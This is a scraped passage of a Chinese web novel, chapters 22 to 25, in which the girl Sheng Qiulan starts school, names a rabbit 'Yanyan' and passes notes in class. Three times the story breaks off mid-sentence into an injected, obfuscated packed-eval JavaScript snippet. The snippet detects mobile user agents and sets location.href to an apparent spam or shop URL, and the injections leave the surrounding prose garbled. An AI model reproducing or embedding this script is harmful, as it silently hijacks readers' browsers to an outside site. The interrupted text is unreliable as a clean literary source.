傅如珩这么长时间没过来,都不知道她已经好了,她倒要看看对方到底在忙什么,竟然一直不过来。 盛秋阑还没有来得及出门,就难得被娘亲带了回来。 贺兰谨还是平常温柔端庄的样子,看着盛秋阑乖巧地站在面前,先是询问了一下她腿上面的伤,随后就进入了正题。 “你想去上学吗?” 22. 手感不错 府医每天都会向贺兰谨汇报她的情况,盛秋阑知道母亲这样叫她过来肯定不单单是为了询问伤口,满心想着一会儿要做的事情,眼睛不安分地乱转,根本没有认真,直到听见这句话。 她掰着手指算了一下年龄,若是想要去上学也不是不可以,只是比想象中早了一点。 盛秋阑对上学没有那么大的抵触,来到这个世界之后她就知道会有这样一天,更何况在原本她就想象过类似的情节。高中趴在桌子上怎么都写不出来数学题的时候,她就幻想着按照自己现在的知识水平,到了小学可以呼风唤雨,第一拿到手软,人送外号为“神童”。 没想到曾经的幻想居然有可能在这个世界实现。 正好盛秋阑这几年也差不多再京城玩遍了,一些同龄人又不亲近,稍微大一点的都被家中长辈送到了学堂里面。 她没有过多考虑,应下来:“好啊。” 贺兰谨话还没有说完:“那明天就和哥哥们一起走吧。” 她明显是已经提前说好了:“学堂里面的先生会教你读书写字,阑阑想要回来的话也可以回来。” 虽然已经决定让盛秋阑上学,但是贺兰谨没有打算把她逼得很紧。毕竟年岁摆在这里,若是盛秋阑最开始说不想上学,她也会顺着意思,等过两年再送进去。 盛秋阑这一次答应得就没有那么爽快了,她没想到时间那么快,甚至都没有来得及准备东西,但是既然答应了去上学,她也不想半途而废。 盛秋阑算了算自己在这一天里面要准备的事情,上学需要新衣服、文具。不过这些东西不需要她操心,肯定都会准备好的。最重要的是,自己白天要在学堂里面,意味着不能像前几天一样每天和兔子玩……还有傅如珩。 被迫养伤的这几天,傅如珩只在前几天来看她,就连见兔子的时间都要比他多,盛秋阑本来是打算今天去问原因,现在就有些不合适了。 贺兰谨还等着她的回复,盛秋阑努力压下心中那一丝不明不白的烦躁,露出一个笑:“好的。” “先前不是还说要去玩吗,快去吧。” 盛秋阑重新出了大门口,先前的雀跃却少了一点,眼中多了几分惆怅。 要怎么和傅如珩说这件事呢? 明明只是一个正常阶段的分开,但是却莫名难以说出口。 又不是以后不在一起玩了。 盛秋阑压下心事,敲响了侯府的门。她已经很久没有来了,门口的侍卫看到她还惊讶了一瞬,两个人交换了一个眼神,略带犹豫地称呼:“盛小姐。” 其中一个侍卫向另一个传递了一个肯定的眼神,那人才说:“少爷之前说了,小姐要是来的话就直接进来。” 闻言,盛秋阑没有再等待下去,走入了庭院当中。 刚走进来,她就敏锐地发现了不对劲,院子当中的人似乎多了一些,来来往往之间都是面无表情的下人们,行事特别小心,氛围看着比先前更加紧张。 她走向傅如珩院子的速度不免加快了一点,不过院子当中还是一片平静,也没有多出一些碍眼的东西。 盛秋阑没有预告,自顾自推开了庭院面前的门,看上去比在门口还要松散一点。她敲了敲屋子的门,都没有等里面传出声音就自己推开来了。 一方面是想要吓人,另一方面是因为心中还是有一些不安。 这段时间两个人见面的次数不算多,盛秋阑也不知道侯府当中发生了什么,若是傅皓轩趁着这段时间作妖,傅如珩肯定也不会告诉他。 屋子不算很大,一眼就能看清楚里面的布局,一个身影就坐在床旁边的书桌上,脊背端直,看上去像是在背书。 盛秋阑打消了疑虑,快步走上前,双手挡住了对方与书本之间的视线,笑嘻嘻道:“猜猜我是谁?” 她临时压低了声音,即便这样,伪装依旧不高明,显然没有多花心思来遮掩。 “腿好了?”傅如珩没有回答这个显而易见的问题,他不动声色地把盖在膝盖上面的毯子放在一边,声音平淡,半点没有被吓到的样子。 盛秋阑颇觉无趣,柔软的手心从眼睛上面移开,见傅如珩转过来,视线落在她的腿上。 这一次出来是府医亲口认证的,盛秋阑丝毫不慌,晃了晃两条腿,表示自己这次确实是好得不行了。 “今天去哪?”傅如珩没有再多问,习惯性地询问。 盛秋阑来的路上一直在纠结如何说自己要去上学,倒把来的时候的目的忘得一干二净。总归京城有意思的事情来来回回只有那么几件,比起出去玩,好像和傅如珩呆在一起才是目的。 她过来之前还没有想好计划,只是一门心思地想要见傅如珩,现在突然被打岔,更是把原来的措辞都给打乱了。 想当初她洋洋洒洒写了几百万字,到头来连一个上学的理由都说不出来。 明明这件事情很是平常,但是盛秋阑也不知道怎么了,反复纠结之下,还是不知道该怎么开口。 不过她最大的优点就是不会过多苛责自己,既然暂时想不到说法,就干脆先放到一边,转而也开始思考今天的安排。 在他们交谈的时间里面,外面还是一片安静,和侍郎府中的轻声细语不同,更多的是一份压抑感,如同山雨欲来。 盛秋阑不喜欢这种感觉,虽然一时没有想到要去哪里,但先离开侯府就对了。 她堪堪想出来一件事:“你还没有去看过兔子吧,正好就今天。” 若是盛秋阑再仔细一点,她就会发现傅如珩面前摊开来的文章和她上次来的时候是一样的,但是她这会儿注意力都在人身上,没有发现迟迟未动的书页。 傅如珩起身的动作比以往慢一些,站起来的时候身子不自然地僵了一下,但是很快就调整好了姿势,面色无常地跟在她后面出了门。 还没有走出府门,旁边突然传来一阵骚动,傅鸿元在下人的簇拥下从书房里面走出来,正好碰上了两人。 看见出现在自家府中的盛秋阑,傅鸿元没有表现出意外,看着两个人并排站在他的面前按照规矩行了礼,甚至还露出一抹平常都不怎么看到的笑容。 “秋阑又来了?” 他的称呼自以为亲昵,但是熟悉盛秋阑的人看着她现在这个样子就知道她心中早已经不耐烦了。 喂喂喂,他们很熟吗? 盛秋阑之前几次来的时候傅鸿元都在朝中,今日却不知为何白日出现在家中,不过盛秋阑对其中原因并不感兴趣,架不住傅鸿元主动开始解释。 “听闻皓轩之前在酒楼和你们玩闹了一番,没想到还把账单送到了侍郎府中,是我管教无方,也请秋阑转告一下侍郎不必放在心上。” 傅皓轩生好几天的气,不知砸坏的多少精贵物件,就在傅鸿元口中变成了玩闹,面上还丝毫没有对他们表现出一丝情绪。 不愧是在朝中多年的聊斋,话说得没有一丝错处,全服上上下下爱捧着的世子就这样被轻飘飘带过。 盛秋阑啧啧称奇,但是面上依旧没有多余的表情:“好的,那侯爷我们就先走了?” “不必如此生疏,我们两家相隔如此近,我也算是看着你长大的,叫伯父就行。”傅鸿元好像现在才看到盛秋阑旁边的傅如珩,“如珩,你是哥哥,理应照顾一点。” 后者垂下眼眸,阻隔了两人之间的对视,眼中带着复杂难辨:“是,孩儿知晓。” 看见傅如珩和傅鸿元对话,盛秋阑比刚才自己回答还要紧张一点,好不容易等到说完话,当即就拉着傅如珩离开,生怕傅鸿元还要拉着他们说话。 “快点!” 盛秋阑语气急切,仿佛是在说他不争气:“怎么那么慢。” 傅如珩一只脚跨出门槛,动作慢条斯理,侍郎府的大门早已经按照盛秋阑的要求大敞着,走到前院当中,盛秋阑才长长地叹了一口气。 即便是傅如珩的爹,她也丝毫没有掩盖情绪:“终于走了。” . “爹,你怎么就这样让他们走了?!”傅皓轩早已经通过下人的专属知道了刚才发生的事情,看到傅鸿元走进来的时候不满地说。 盛秋阑和傅如珩把他打得这么惨,甚至一直到现在还只能做小幅度动作,就连出门都难。没想到父亲就这样轻飘飘放过了,傅皓轩眼中都是怒火,手指狠狠地收紧被子,面料极好的丝被发出不堪重负的断裂声。 傅鸿元语调威严,站在床边,眼神往他的手指上面瞥了一眼:“你看看你现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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盛秋阑终于如愿以偿带着傅如珩看了院子当中的兔子。相比起刚进入侯府中,兔子现在赫然已经把院子当成了自己家,就连看到有陌生人过来也不为所动,我行我素地躺在盛秋阑亲手搭建的窝里面,懒洋洋地转了个身,把头对着傅如珩,勉为其难给了个面子。 盛秋阑熟练地揉了一把它的脑袋,她已经不是当初在马车上犹犹豫豫的人了,经历过养伤期间的每日消遣,此时她已经进化了,成为了盛·钮钴禄兔子主人·秋阑。 见傅如珩还是站在旁边,低头注视着地上的盛秋阑和她旁边白白的一团,盛秋阑有些不满,但是她联想到自己第一次拿到兔子时的样子,还是善解人意地表示理解。 别以为她不知道,傅如珩面上这个样子,心理肯定早就想要摸了吧。 身边常年跟着一个话少的人,盛秋阑早已经能够通过傅如珩的表情当中推断出他的意思,这一会儿也不管对方愿不愿意,拉着人往下拽:“今天本小姐让你摸爽了。” 傅如珩原本并不是这个意思,只是盛秋阑怀中抱着一直圆滚滚的兔子,原本还有些弱小的兔子已经在侍郎府中被照料得很好,身子日益庞大,惬意地躺在女孩地怀中,一身洁白光滑的毛蓬松,如同一小团蒲公英散开。 盛秋阑今天刚好穿着一件浅色衣服,月华布料上面有着银色的暗纹,衣服的领口和袖口是一圈薄薄的绒毛,从上面往下看,只能看见裸露的后颈和衣服上的白毛,与怀中的兔子极像。 傅如珩对白兔不感兴趣,哪怕它曾经在花鸟集里面吸引了无数小孩大人的注意,但是这群人中没有他。不过盛秋阑坚持,他也没有反抗,顺着意颇为敷衍地摸了一把。 兔子上面覆盖的白毛柔软,手感相比起第一次接进府中还要好上不少,也多亏了采买的小厮变着花样买不同的蔬菜,最后才根据表现选出了偏好的菜叶种类。 “怎么才一下,我都给你机会了。” 盛秋阑看着傅如珩的指尖浅浅陷入白色的毛中,力度轻飘飘的,看起来非常随性:“这种时候了你还跟我客气什么,这里又没有别人,想摸就摸。” “真的?” 傅如珩不知道想到了什么,语气中带着一点兴味,听起来像是寻求某种同意。 “那当然,我什么时候……” 盛秋阑话说到一半,一双手就停留在她的脖颈后面,微凉的触感轻轻搭在皮肤上面,若是更准确一点,是放在她的领口处。 然后傅如珩揉了揉,力道相比起刚才重了一些,末了才状似感叹。 “手感不错。” 23. 取名言言 虽然傅如珩摸的是衣领,但是盛秋阑总感觉他话中有话,她愣了一下才反应过来:“我让你摸兔子,你摸我干啥啊?” 傅如珩不感兴趣地看了她怀中的兔子一眼,手从衣服上面落下来,比上一次更加敷衍地摸了一把,这一回就连上面的软毛都没能够留住他,几乎可以算作蜻蜓点水。 在盛秋阑再次出声质问之前,傅如珩先开了口:“它有名字吗?” 盛秋阑没有说出口的画就这样被打断,顺着傅如珩的话想:“我还没有想好。” 既然这是盛承驰买给她的,取名权就在盛秋阑的手中,但是她先前想过几个名字,都感觉不是很好,取名这件事就这样搁置下来。她的目光转向搭在她衣服上,有一下没一下点着绒毛的手指,傅如珩的手生得很好看,就算现在还没有完全发育,依旧看不见多余的肉,手指纤细修长。 盛秋阑福至心灵,露出一个坏笑:“要不就叫言言吧。” 规律点动的手指蓦然停住,如同坏掉了的机器,过了两秒才迟缓地继续运动,好像刚才只是一时的程序故障。 “哪个yan?” “言语的言……不然你以为是什么yan?” 傅如珩:“……” 他的表情像是对这个名字根本不在意,如果不是盛秋阑一直盯着傅如珩的表情,差点以为他真的没有听出话外之音。 入府之后一直没有名字的白兔就这样在午后被定下了自己的名字,盛秋阑不光是自己叫,还顺便把这个消息告诉了负责照顾兔子的侍从。 傅如珩跟在她后面,听着盛秋阑一张小嘴完全不停,耳边充斥着“言言言言”的名字。 如果他这时候再听不出来盛秋阑是故意的,那他也白跟盛秋阑长大了。 “怎么样,是不是很好听?”盛秋阑叫了一下午还不够,抓着人想要评价,但是眼睛当中的狡黠早已经透出来,逼着傅如珩亲口承认。 傅如珩在刚开始的沉默之后,不知道想到了什么,竟然就这样轻易松口了:“是挺好的。” 居然就这样应下来了? 盛秋阑本来只是想要逗逗他,没想到傅如珩居然如此爽快,她怀疑地上上下下打量了一遍,傅如珩坦然地让她看。 盛秋阑嘴巴微动,小声地嘟囔了一句什么,傅如珩没有听清,正想要凑近,就见盛秋阑一把把手上抱着的兔子塞在了他的怀里。 之前为了展示言言的新名字,盛秋阑把它从兔窝里面呆了出来,就这样抱在怀中,来来回回逛了好几圈,现在这一份重量到了傅如珩手中,他却难得表现出来了生疏。 傅如珩的表情像是想要快点把兔子放下来,但是盛秋阑已经抱胸在一旁,一看就不会接过来,如果放在地上,兔子又有可能会跑走,于是就只能姿势僵硬地站在原地,手臂都开始绷紧。 言言的体型相比起成年兔子还是要小上一圈,但是得益于精心照顾,体重却不轻。 比起之前一触即分的触摸,这一次白色软毛严严实实地覆盖住了整个手指表面,被毛覆盖的温热躯体重重地压下来。哪怕刚才傅如珩的敷衍毫不掩饰,言言也小兔有大量地选择不去计较,现在换了一个人也没有表现出来不适应,懒洋洋地放松身子。 盛秋阑在一旁看戏,她颇为新奇地看着傅如珩此刻的表情:“怎么样?” 傅如珩没有说话,她已经渐渐习惯了怀中的重量。试图放松手臂让姿势变得不那么僵硬,兔子的温度源源不断地传过来,小小一团抱在怀中,好像一旦用力就会受伤。 大抵是体谅傅如珩第一次抱,言言颇为配合地往兔窝那边伸头,像是想要下来。 傅如珩没有决定权,难得无奈地看向盛秋阑,后者大发慈悲地放过了他:“放它下来吧。” 前脚触碰到熟悉的草地,言言一扭身子就往栅栏里面跑过去,又短又圆的尾巴最后离开掌心,如同逗弄似的扫了一下掌心。 明明之前看起来还是不情不愿,但是看到言言离开的时候,盛秋阑居然从傅如珩的脸上看到了不舍。 她当然不会放过这个机会:“下次还让你抱。” 傅如珩把视线从远处蜷成一团的白团子中移开,言言丝毫没有留恋的意思,此刻撅着一个屁股在草地上吃得很开心,只肯留给他们一个尾巴。 “要不你给我摸一摸?” 盛秋阑又想起来刚才的事情,她如临大敌一般抓着自己的衣领,生怕傅如珩再像刚才一样突袭。 “不行,要人没有,要兔一只。” 言言似乎感受到自己被主人卖掉了,她从晚餐当中抬起头,颇为谨慎地转头看了他们一眼,然后叼着一片菜叶子转身跑走了。 他们不知不觉就在院子当中留了一下午,等到傅如珩回去的时候,盛秋阑才想起来自己还没有跟他说明天要去上学的事情。 她脸上的笑容淡下来,难得头顶上挂着几片乌云。 早知道就和娘亲说晚点再去上学了,也不知道傅如珩会不会来找她。不过之前她受伤了傅如珩就没有来看她,说不准等到下次放假的时候对方才会知道她这几天不在侍郎府。 想到这里,盛秋阑记起了白天被转移走的话题,她意识到了什么,攥紧了拳头。 好哇,傅如珩肯定是故意的。 盛秋阑干脆打消了想要再跑到侯府里面向傅如珩解释的念头,说什么说,这次她一定要晾几天。 丫鬟们已经把需要准备的东西整好了,虽说是去上学,却没有多少相关的东西,倒是一些吃食装了不少,像是生怕盛秋阑会在学堂里面饿着,一套全新的衣服整整齐齐地叠好放在旁边。 盛秋阑的心绪被扫落不少,她欢欢喜喜地检查了一遍,一旁的迎春忍不住笑出声:“小姐要去上学怎么如此高兴,想当初二少爷在上学前一天还哭了呢。” 一旁的碧云给了她一个眼色,迎春后觉自己说话不当,竟然开始议论主家,哪怕在盛秋阑面前他们随意惯了,但是该有的规矩还是要有。 她打了一下自己的嘴:“奴婢嘴快了。” 碧云笑着对盛秋阑说:“小姐去学堂之后能多交些朋友了。” 一说起这个,盛秋阑就又想到傅如珩了,她努力撇清自己脑海中的念头,信誓旦旦地说:“那是,我肯定能交到很多朋友。” 话说起来,当初参加周岁宴的人也不少,其中不乏有同龄人,但是那些小孩都和她不熟,盛秋阑偶尔跟着盛怀德去拜访,那些小孩子都躲在后面,好像看见了什么洪水野兽,算来算去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065246|192386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,竟然只有一个傅如珩可以算作亲近。 ……怎么又想到傅如珩了。 盛秋阑晃了晃脑袋,好像这样就可以把时不时出现在脑海中的人赶走,直到晚上躺在床上的时候,她才迷迷糊糊做了梦。 一睁眼,傅如珩泫然欲泣地站在面前,一双眼睛红红的,看上去像是哭了很久。 盛秋阑吓了一跳,她什么时候见过傅如珩这个样子,就算小的时候在陌生环境里面被管家丢下,最多也是露出一个有些慌乱的表情,长得大些之后就更加不会这样了。 盛秋阑常常在心里吐槽他是逼王,有这种气度就应该在小说里面当主角,没想到最后是一个到死连真名都没有透露的小炮灰。 她久违地起了些怜惜的感情:“怎么了?” 傅如珩眼睛里面反着眼泪的光:“我这几天来找你,你怎么不在,是不是有别人了。” 盛秋阑被扑面而来的茶香迷了满面,差点绷不住笑出来。 她清清嗓子,刻意停顿了两秒:“因为我去上学了,况且你之前不是也没有来找我吗?” 傅如珩急切道:“我每天都来找你,不要和别人玩。” 盛秋阑哪有过如此威风的时候,这一次她才体会到了自己真的收了个小弟。 真是太爽了。 盛秋阑没忍住笑出了声,胸腔微微震动,随后感觉面前突然出现了有些刺眼的光。 窗外的阳光不知何时照了进来,盛秋兰睁开眼睛,身上还盖着被子,面前的傅如珩也没了影。 原来是梦,难怪这么爽。 她撇撇嘴,从床上坐起来,一旁的碧云适时地把昨天晚上准备的衣服拿过来。 “小姐。大少和二少都已经在膳厅候着了。” 盛秋阑穿好衣服,迎春给她盘了一个比较简单的发髻,她往膳厅跑过去,看见了盛承礼和盛承驰早已经穿戴完毕,就连盘中的食物都已经吃完了一半。 “上学第一天就迟到,不会是反悔了吧。” 盛秋阑拿了一个包子塞在口中,声音含糊不清:“我才不像你。” 前一天晚上通宵补课业,哀嚎着不想上学的盛承驰顿感被羞辱了,他“呵呵”两声:“我看你能坚持到什么时候。” 像大哥这种每天勤勤恳恳甚至回家之后还主动背书的人,他们家有一个就够了,他觉得盛秋阑肯定不会是这样。 估计下次回家就要说自己不想去上学了。 盛承驰带着看好戏的心态,仿佛在看着未来的自己,就连要去上学的烦闷都少了一些。 临上马车之前,盛秋阑再次看了一眼对面的大门,梦中傅如珩挂着泪珠的脸浮现在面前,她浑身抖了一下,胳膊上的鸡皮疙瘩都起来了。 在梦里还不觉得违和,现在想起来傅如珩露出这种表情的可能和见鬼也没差多少了。 他们出门不算晚,若是想要和傅如珩道别也还有时间。 “小姐,我们走了。” 马车旁边的门被拉上,空阔的视野骤然被窗框给圈住,没有绑住的纱帘垂落下来,通过褶皱处可以看见朱红的大门。 盛秋阑手搭在纱帘上,犹豫半刻还是垂下来。 算了,哭就哭吧,大不了她回来再哄。 24. 传纸条 童舍比中舍要近一些,盛秋阑下车的时候,盛承驰他们还没有到目的地,但毕竟是妹妹第一次上学,两人还是专门下车,把她送到了学堂门口。 “那我先进去了。” 盛秋阑转身冲他们挥挥手,她身上挎着一个小布袋,里面装的是碧云给她准备的东西,一些大件有侍从们帮忙搬下去。 学堂里面已经坐着不少小孩,教室当中的座位一个大长桌,一桌坐两个小孩。 因为盛秋阑是后来才进来的,其他小孩已经分配好座位。她也不觉得尴尬,径直走到后面的一张空桌子上,把小布袋往桌子上一扔。布袋里面装的大多是一些糕点吃食,碧云生怕他饿了,特地往里面放了不少的分量。 盛秋阑伸手一掏,从布袋里面掏出满满一把的桂花糕,放在手心里几乎要抓不下。 她伸出手指戳了戳前面的人,坐在前桌的是一个小女孩,她的旁边放着一个小板凳,但是人还没有来,女孩扎着漂亮的批发造型,两鬓用辫子梳起来,上面插着一朵浅蓝色的兰花发簪。 “你吃桂花糕吗?” 见人转过来,盛秋阑露出一个甜甜的笑,等到看清女孩长相的时候,她忍不住在心里哇了一声。 是漂亮姐姐! 女孩可能没有想到盛秋阑如此自来熟,她略有些拘谨地从他手上接过桂花糕,声音不大,但足够清晰:“谢谢。” “不客气不客气,你叫什么名字啊?” “林辞殊。” 不光脸长得好看,名字也像小说女主。 盛秋阑在脑海中搜索了一番记忆,却没有找到原著当中关于她的描写。 见盛秋阑依旧好奇地看着她,林辞殊难得多说了几句:“我先前随着祖父在闽中生活,最近才到京城来。” 林辞殊身着一双标准的柳叶眼,眼型细长,看人的时候显得温润,身上的气质一看就不是普通人家出来的,像是人人都会夸赞的别人家的小孩。 盛秋阑把目光转向他旁边空着的位置:“你旁边坐着的人还没来吗?” 就在此刻,门口风风火火冲进来一个看上去六七岁的男生,他像是已经迟到习惯了,熟练地拐过几条走廊,一屁股坐在空着的座位上。 “嘿嘿,赶上了。” 先生还没有进到。教室当中。男生头上因为奔跑进出一头薄汗。他随意的用踏步擦了擦。时候才发现身后多了一个人。 “你是谁?” 盛秋阑丝毫不介意她的打量,在桌子上拿了两块桂花糕递给他,男生接过当即就塞进口中:“唔,还挺好吃。谢了啊,正好早上起晚了没用早膳……我叫长孙胜,你呢?” “盛秋阑。” 长孙胜像是被桂花糕噎住了,塞嘴里的动作停顿了一会儿:“我知道你,侍郎家的千金,还是京城大名鼎鼎的……” “的什么?”盛秋阑好奇地等待着他继续说下去,长孙胜却不开口了。 对方表情复杂:“感觉你和传言中也不太一样。” 盛秋阑不知道自己传言中是什么形象,但她仔细思考了一下,觉得自己没有干过什么事,顶多每天在京城大街小巷中闲逛。 这样听起来好像确实不算好,难道这就被自己的新同窗看出来不思进取了? 盛秋阑有些心虚,决定挽回一下自己的形象:“那些都是他们乱说的,其实我还挺喜欢读书的,平常也很文静。” 出门在外,形象是自己给的,就是不知道能支撑多久。 这个年纪正是好动的时候,更何况刚刚放假回来,大家或多或少都有些骚动。不过聊天过程中,他们时不时撇向后面新来的人,眼中是不加掩饰的好奇。 看着盛秋阑和其他两个人聊得正欢,他们不好意思打扰,耳朵却悄悄竖起来,想听交谈的内容。 前方的声响渐渐消失,盛秋阑上辈子锻炼出来的技能生效,似有所感地闭上了嘴,望向讲台,果不其然看见了刚刚踏上台阶的先生。 母亲之前跟她介绍过这位卫先生,听说他是自己往下调的,盛秋阑原本就有些好奇,现在终于见到了人。 这是当代公务员啊,居然甘愿下到基层。 她心知这个年龄段的小孩子有多讨人嫌,这位卫先生居然还能坚持这么久。盛秋阑原本猜测应该是一个五六十岁的老头,头发花白,还续着长胡须的那种,一看就是老古板。出乎意料的,这位魏先生看上去挺年轻,虽然头上也有几根白丝,但绝对没有到年老的程度。 他的鼻梁上架着一副金丝眼镜,藏在眼镜后面的眼睛先是扫视了一圈安静下来的小萝卜头们,目光所及之处,就连刚才坐姿豪放的长孙胜都忍不住收敛起来,乖乖把手放在桌面上。他的嘴角还残留着桂花糕的痕迹,卫先生忍不住微蹙了一下眉,把眼神落在最后方的盛秋阑身上。 盛秋阑面前还放着桂花糕,一看就知道长孙胜的那块是她给的,但是看到她是第一天来学堂的份上,卫先生还是没有当众点出。 贺兰谨之前打过招呼,有了盛承驰这个先例在前,相比起来,看盛秋阑的样子还是非常听话的。 “你们新来的同窗,盛秋阑。” 来了来了,不管是在现代还是古代都逃不掉的自我介绍。 盛秋阑早有心理准备,她到讲台面前介绍了一下自己,顺便扫视了一下下面的新同学,这一看还真让她发现了几个认识的人。 这些人大多是盛怀德同僚的孩子,当初还出现在盛秋阑的周岁宴上。只是这次她走到讲台上,那些人却无一例外的低着头,坚决没有给一个眼神。 盛秋阑有些无辜的眨眨眼睛,难道长孙胜说的是对的,她现在也成为纨绔子弟了吗,不然怎么看起来有些怕她? 听到她介绍完,卫先生正想要把盛秋阑请下去,就看见女孩两只手插在衣服中间的兜里面,如同变戏法一般变出了各式各样的糕点,一桌一桌地发下去,不一会儿每个人桌子面前都摆着一份。 开学前强调不要把吃食带进学堂的卫先生:…… 他额角跳了跳,深吸一口气,觉得之前光品外表的判断实在是太过武断。 不愧是厨子同一户人家,感觉这位小千金也是不遑多让。 卫先生清了清嗓子,刚想要强调一下规矩,就看见盛秋阑转身,从兜里面找出了比其他人都要多的糕点,放在了他面前:“先生,你也有。” 女孩笑眼弯弯,任谁都无法拒绝,卫先生犹豫片刻,最后还是收下来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076339|192386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是还没有忘记自己的规矩:“下次不要把吃食带到学堂了。” 盛秋阑像是愣了一下,随后跑回自己的位置:“知道啦!” 她这几年个子长高了不少,但是相比起比自己大了几岁的同学,盛秋阑在里面不算高,此刻坐在最后一排,视线都被前方的人挡住了。 卫先生环顾了一圈,把盛秋阑的位置往前面移了两位,正好从林辞殊的后面变成了前面。其他人都是两人一桌,只有她是一个人,旁边空空荡荡的,配上盛秋阑趴在桌子上的动作,看起来有些孤零零。 他还在思考对策,就看见盛秋阑把旁边的小板凳往自己的方向靠了靠,把两个椅子并成一份,然后动了动屁股,坐在上面。 嘿嘿,独享大椅子。 卫先生眼角一抽,决定暂时不去管她,转身开始讲课。 童舍当中讲的都是一些识字等基础,盛秋阑早已经学会,百无聊赖地趴在桌子上,用自己的新毛笔在纸上涂涂画画。 好像有些无聊……也不知道傅如珩这个时候起了没,自己今天难得早起一会,傅如珩要是知道的话,肯定找不到借口再笑她了。 盛秋阑用毛笔沾上墨水,把自己刚刚画的小人用力涂掉。 她都来上学了,也不是只能找傅如珩,想到自己刚交的两个朋友,盛秋阑撕下一小张纸,在上面画了一个棋盘,随后看也不看就往后面一丢。 这可是刻在骨子里面的准率,不可能失手。 纸团稳稳落在林辞殊的面前,一向认真听课的人有些犹豫,最后还是把纸团打开来。棋盘的最正宗画了一个小叉,其他各自当中都是空白的。 长孙胜表面上盯着魏先生,其实心思早已经飞到了外面。见到有乐子,干脆也不做样子了,凑上来看纸团。 林辞殊表情还是带着迟疑,但是想到盛秋阑今天早上给她的桂花糕,还是违背了自己一向听课的态度,在旁边的格子上打了一个圈。 纸张被重新团起来,却迟迟没有飞出去。 林辞殊还是第一次干这种事,对这个活动非常陌生,眼睛时刻盯着卫先生,却总也找不到机会,最终只敢抓在手里。 长孙胜看着着急,他虽然没有参与下棋,但是对他来说只要不学习干什么都有意思,哪怕递个纸条也行。 “我来。” 长孙胜从林辞殊手上拿过纸团,对着盛秋阑的桌子一扔。 他虽然表现得信心满满,但是结果却不尽人意。因为是第一次干这种事,他没有控制力道,白色的纸团在空中划过一道弧线,最后落在盛秋阑的前桌上。 这个弧线实在是太过明显,只要眼睛没问题就能看清楚这个动静。 那个小孩看着骤然出现在眼前的纸条,明显愣住了,把这一切收进眼底的盛秋阑没眼看地把头埋在胳膊上面,一副“我不知道,跟我没关系”的样子。 卫先生在过道中慢慢踱步,依旧带着人念课本上面的文章,表情不动,好像没有看到刚才发生的戏剧。 长孙胜观察了半天,正打算放松警惕,就看见卫先生慢慢来到他们这一边,哪怕眼睛还是盯着书本,手却准确无误地拿走了那个没有人敢碰的纸团。 悬着的心终于死了。 25. 画技 被抓走纸团的那位公子看上去惊恐无比,当即想要把这件事与自己撇清关系,生怕先生会向自己的家长告状。 卫先生一手打开纸团。看着上面的方块和一个叉一个圈,他带领念书的声音停下来,藏在金丝眼镜后面的眼睛看不出生气的意思,却带给人浓浓的压迫感。 "谁扔的?" 魏先生的声音平淡,和刚才念书时别无二样,底下却没有人敢说话。 盛秋阑垂着眼睛,不敢对视,实在是太熟悉了,这种随时会出现在窗外的班主任感觉。 毕竟纸团是自己先传的,盛秋阑正打算站起来一人做事一人当,却听见后面传来板凳在地面上移动的声音。 “我扔的。” 长孙胜毫无畏惧地接下了这个话,挽救了凝滞已久的气氛。 纸团确实是他扔的,盛秋阑扔纸团的时候,卫先生没有察觉到。林辞殊虽然在上面写了东西,却迟迟没有传出来,长孙胜觉得自己理应站出来。 也不知道盛秋阑之后能不能教他应该怎么毫无痕迹地传纸条。 卫先生见他站出来,也没有过多责备:“昨日的书背出来了吗?” 长孙胜在旬假期间被压着复习了不少知识,这个文章正好是其中之一,想到自己假期时的痛苦,他这一回毫不心虚:“背出来了。” “背一下。” 长孙胜毫不犹豫地背完了全篇,末了还得意的挑挑眉。 别说,这种感觉还挺爽。 卫先生听他背完,也没有再揪着这一个纸团不放,让他坐下了。 盛秋阑感觉到身边人的眼神在他背上淡淡地停了一下,头发都要站起来了。 这是什么当上老师之后就会自动拥有的技能吗,怎么全都能发现端倪。 肯定是因为太长时间不练习技术退步了,想当年她可是能够在老师眼皮子底下传纸条一整年都不被发现的。 终于等到上午的课结束,外面早已经等候着的各家奴仆全部都挤在门口送午饭。 虽然童舍学堂里面会提供午饭,但是小孩子饿得快,学堂里面的午餐终究没有自己家厨师做的好吃,这个时候看到各种饭盒,都纷纷跑到自家奴仆那边拿上午饭。 盛秋阑一眼就看到了在门口左顾右盼的碧云,她屁颠屁颠地跑过去,从她手中接过食盒。食盒外面还有温度,香气隐隐约约透出来。 “小姐,今天感觉怎么样?” “好啊,我还交了两个朋友呢。” 说起这个,盛秋阑想到了以一人之身挡住卫先生询问的长孙胜,她还没有来得及道谢。 她垫着脚在人群当中张望,看到了在不远处假石上面坐着的人。 碧云看着她兴奋的样子,一早上的担忧放了下来。 他们家小姐果然适应得很快,这么快就找到了朋友。 盛秋阑捧着食盒有些不好意思张口,碧云看出了她的心思:“那小姐去找他们吧。” 童舍里面设立了不少亭子,原本是想给学生们提供一个背书的场所,后来不知不觉就变成了各家主子吃饭的地。几个原先就认识的人围着亭子里面的桌子,面前各色的食盒分开摆放着,看上去还有些壮观。 